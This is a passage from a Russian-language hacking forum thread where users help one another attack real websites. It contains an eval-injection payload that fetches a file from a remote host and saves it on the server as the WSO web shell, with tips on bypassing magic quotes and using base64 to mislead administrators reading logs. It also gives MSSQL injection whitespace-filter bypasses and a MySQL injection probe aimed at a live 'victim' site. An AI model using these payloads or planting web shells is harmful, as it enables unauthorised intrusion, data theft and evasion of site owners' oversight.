Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    После eval пробела быть не должно.
    щито? eval - выполняет PHP код!

    Юзай например так:
    Эта функция скопирует текствовый файл с сервера, и сохранит его рядом с test.php под именем wso.php

    Обрати внимание, MQ должно быть off, иначе кавычки проэкранируются. Тогда нужно будет юзать base64.
     
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    не обязательно юзать base64 если хочется видеть читабельный вид для глаза, то можно сделать так:
    PHP:
    test.php?a=copy($_GET[a],$_GET[b])&a=http://site.com/you_wso.TXT&b=wso.php
    а чтобы обойти MQ можно в мини шеле заюзать stripslashes()

    но опять же если юзать base64 то просматривающего админом логи смогут завести его в заблуждение)
     
    _________________________
    1 person likes this.
  3. aadktnbaov

    aadktnbaov New Member

    Joined:
    6 Jun 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    дядьки, подскажите как в MS-SQL делать запросы БЕЗ ПРОБЕЛОВ
    уж очень не хочется заморачиваться с устанавливкой и освоением MS-SQL

    я так понимаю, что в MS-SQL при нормальном (НЕ-инъекции) использовании запрос
    select(varXXXX)from(tblXXX)
    не будет работает ?

    у меня, например , SQL-инъекция с вышеупомянутым запросом "валится" с ошибкой 500 (отчёт об ошибках отключен, подробности не узнать...)
    НО , например, запрос
    select(@@version))
    или
    (db_name())
    успешно "вытягивает" инфу из базы

    Всё , что я научился сейчас "вытягивать" с базы , - это получение информации из встроенных функций Transact-SQL, описанных здесьhttp://msdn.microsoft.com/ru-ru/library/ms174318.aspx
    например
    (current_user)
    (user)
    (system_user)
    (original_login())
    и т.д.
    но этого ,естесственно, мало

    что вообще максимум можно поиметь, если sql-инъекция в MS-SQL возможна, но ТОЛЬКО БЕЗ ПРОБЕЛОВ ???

    P.S.
    пробелы скриптом ТОЧНО режутся
    запрос вида
    (select('qwe rty'))
    успешно вернул мне
    qwe%20rty

    просто браузер каждый пробел в GET-запросе преобразует в %20 ,
    и SQL-запрос с этими %20 прямо в таком виде и ПЫТАЕТСЯ выполниться, естесственно, с ошибкой ( http 500 )

    P.P.S.
    http://msdn.microsoft.com/ru-ru/library/ms178623(v=sql.100).aspx
    использование комментариев вида /**/ вместо пробела в моем случае исключено
    т.к. get-параметры передаются через косую черту, т.е. вот так
    http://hostname/path/param1/param2/param3/param4/param5/
    и использование комментариев вида /**/ приводит к ошибке
     
    #21423 aadktnbaov, 18 Nov 2012
    Last edited: 18 Nov 2012
  4. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    В MSSQL в качестве пробелов проходят следующие конструкции

    +,01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20,%

    Юзать примерно так

    SELECT%01column%02FROM%03table;

    +or+1=1 ну и так далее....

    Ещё есть такая вариация

    SELECT"table_name"FROM[information_schema].[tables]
     
    _________________________
    #21424 BigBear, 18 Nov 2012
    Last edited: 18 Nov 2012
  5. aadktnbaov

    aadktnbaov New Member

    Joined:
    6 Jun 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0


    если мой get-запрос содержит знак плюса, тогда ошибка такая

    Server Error
    404 - File or directory not found.
    The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.

    Причем неважно в каком месте get-запроса находится знак плюса - даже внутри кавычек селекта
    http://hostname/path/param1/(select('1+1'))/param3/param4/
    вываливается вышеуказанная ошибка

    хотя если знак плюса заменить на другой - будет всё ОК
    http://hostname/path/param1/(select('1%1'))/param3/param4/

    с процентами с любыми не хочет работать
    т.е. get-запрос
    http://hostname/path/param1/(select%20'qwerty'))/param3/param4/
    приводит к http-ошибке 500

    квадратные скобки [] в GET-запросе браузер автоматически переделывает в %5B и %5D
    и опять-же, запрос с процентами не "кушает" и выдаёт 500-ую ошибку


    скачал себе с официального сайта ms-sql 2012 ( как у жертвы )
    целый час качалось
    теперь уже час устанавливается :)
    буду тестировать оригинальные запросы типа
    select%20'qwerty'
    что-то мне подсказывает, что такие запросы не будут выполняться....

    установил-таки MS-SQL 2012
    запрос
    select%20'qwerty'
    вызвал ошибку
    Сообщение 102, уровень 15, состояние 1, строка 1
    Неправильный синтаксис около конструкции "20".

    и все другие запросы с % в MSSQL 2012 тоже не работают:
    select%01'qwerty'
    select%02'qwerty'
    select%03'qwerty'
    select%04'qwerty'
    ...
    select%20'qwerty'

    запрос
    select(table_name)from INFORMATION_SCHEMA.TABLES
    в MSSQL 2012 отлично работает

    но запросы
    select(table_name)from (INFORMATION_SCHEMA.TABLES)
    select(table_name)from(INFORMATION_SCHEMA.TABLES)
    в MSSQL 2012 вызывают ошибку
    Сообщение 102, уровень 15, состояние 1, строка 1
    Неправильный синтаксис около конструкции ")".
     
    #21425 aadktnbaov, 18 Nov 2012
    Last edited: 18 Nov 2012
  6. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Скорее всего WAF срабатывает. Используй вариации, что я указал постом выше.

    Там кстати я ещё обновил информацию.
     
    _________________________
  7. aadktnbaov

    aadktnbaov New Member

    Joined:
    6 Jun 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0

    я уже заметил и тоже обновил свой ответ :)
    спасибо за посильную помощь :)
     
  8. aadktnbaov

    aadktnbaov New Member

    Joined:
    6 Jun 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0

    у Вас (или у кого-нибудь ещё) есть возможность проверить - выполняется ли в оригинале на MS-SQL 2012 запрос вида
    (select(varXXX)from(tableXXX))
    т.е. вместо пробелов - скобки
    ?
     
  9. aadktnbaov

    aadktnbaov New Member

    Joined:
    6 Jun 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0

    это не WAF срабатывает
    читайте мой пост выше
    я его (тот пост) в очередной раз обновил....
     
  10. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    А квадратные скобки пробовал?
     
    _________________________
  11. aadktnbaov

    aadktnbaov New Member

    Joined:
    6 Jun 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    написал же

    квадратные скобки [] в GET-запросе браузер автоматически переделывает в %5B и %5D
    и опять-же, запрос с процентами не "кушает" и выдаёт 500-ую ошибку


    P.S.
    использовал браузеры IE , FireFox , Opera

    можно еще Safari и Chrome установить ради такого дела, но что-то мне подсказывает, что они тоже будут скобки [] в GET-запросе автоматически переделывать в %5B и %5D

    интересно, как не используя браузеры , т.е. програмно (Delphi) , отправить сайту get-запрос с квадратными скобками , а не %5B и %5D ?
    и отработает ли он ?

    P.P.S.
    вчера в специально для таких целей установленной Microsoft SQL Server Management Studio "выдрочил" тысячи запросов

    на моё удивление запрос
    (select(table_name)from.information_schema.tables)
    успешно отработал
    ( т.е. название таблицы information_schema.tables отделяем от from точкой )

    но теперь никак не могу приделать к этой конструкции "where" , чтобы результат возвращал одну строку, а не столбец значений
    у кого есть мысли по этому поводу ?

    запрос
    (select top(1)(table_name)from.information_schema.tables)
    ( между select и top находится пробел ) в моей Microsoft SQL Server Management Studio успешно выполняется

    пока не придумал как убрать этот пробел между select и top
    у кого есть мысли по этому поводу ?
     
    #21431 aadktnbaov, 19 Nov 2012
    Last edited: 19 Nov 2012
  12. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    290
    Likes Received:
    42
    Reputations:
    -5
    Подскажите плиз как можно раскрутить скулу
    вот есть сайт
    http://site.com/?cnt=articles&item=1 я подставляю кавычку ' ОШИБКИ нету
    а вот когда подставляю слеш \ то выскакивает вот такая ошибка

    Fatal error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/?cnt=articles&item=1\'' at line 1 : SELECT url FROM air_redirect WHERE url_src = '/?cnt=articles&item=1\' in /home/site/public_html/classes/TObj.php on line 106


    Можно ли её раскрутить?
     
  13. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    а на реальный url можно взглянуть? думаю тут вывод в error будет...

    P.S: да думаю тут и бональным способом вывести можно.
    если кавычка не слешируется то:
    SELECT url FROM air_redirect WHERE url_src = '/?cnt=articles&item=1' and 1=1#'
     
    _________________________
    #21433 winstrool, 19 Nov 2012
    Last edited: 19 Nov 2012
  14. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Hapk, прикольно. Скорее всего там либо режутся кавычки, либо экранируются.
    т.к. запрос бы был таким:
    и ошибка была бы.
    Попробуй следующее:
    1 - потести на логику, как предложил winstrool
    2 - error based
    3 - если не получится - скинь линк в личку
     
  15. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    290
    Likes Received:
    42
    Reputations:
    -5
    Отправил юрл в личку
     
  16. chiper1

    chiper1 Banned

    Joined:
    29 Mar 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    подскажите, как найти вход в базу данных MySQL >=5
     
  17. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Попробуй по 3306 порту, может быть где-то в другом месте phpmyadmin.
     
  18. Creator000

    Creator000 New Member

    Joined:
    3 Jun 2012
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    с чего начать изучение xss атак?
     
  19. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    с чтения статей
     
  20. Creator000

    Creator000 New Member

    Joined:
    3 Jun 2012
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    киньте, пожалуйста, ссылки. а wtb-программирование ведь нало знать да?
     
Thread Status:
Not open for further replies.